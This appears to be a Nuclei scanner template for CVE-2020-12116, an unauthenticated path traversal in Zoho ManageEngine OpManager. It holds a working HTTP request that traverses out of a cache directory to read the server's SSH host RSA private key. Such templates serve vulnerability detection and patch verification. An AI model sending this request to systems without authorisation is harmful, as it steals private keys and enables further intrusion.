id: CVE-2020-12116

info:
  name: Zoho ManageEngine OpManger - Arbitrary File Read
  author: dwisiswant0
  severity: high
  description: Zoho ManageEngine OpManager Stable build before 124196 and Released build before 125125 allows an unauthenticated attacker to read arbitrary files on the server by sending a specially crafted request.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of Zoho ManageEngine OpManger to mitigate the vulnerability.
  reference:
    - https://github.com/BeetleChunks/CVE-2020-12116
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12116
    - https://www.manageengine.com/network-monitoring/help/read-me-complete.html
    - https://www.manageengine.com/network-monitoring/help/read-me-complete.html#125125
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-12116
    cwe-id: CWE-22
    epss-score: 0.97317
    epss-percentile: 0.99861
    cpe: cpe:2.3:a:zohocorp:manageengine_opmanager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zohocorp
    product: manageengine_opmanager
  tags: cve,cve2020,zoho,lfi,manageengine,zohocorp

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Connection: close
      - |
        GET {{endpoint}}../../../../bin/.ssh_host_rsa_key HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Cache-Control: max-age=0
        Connection: close
        Referer: http://{{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "BEGIN RSA PRIVATE KEY")'
          - 'status_code_2 == 200'
        condition: and

    extractors:
      - type: regex
        name: endpoint
        regex:
          - "(?m)/cachestart/.*/jquery/"
        internal: true
        part: body
# digest: 490a0046304402200fc5ad9bdb1cc7520cf23bdb7395e0d52813c4184fa6a1b953bf69abf71b04a602207241ce6f30a6867e7c54ad6c3c2b7f7d2baf83ec792ce0c9e0b0a1ae5bd4243e:922c64590222798bb761d5b6d8e72950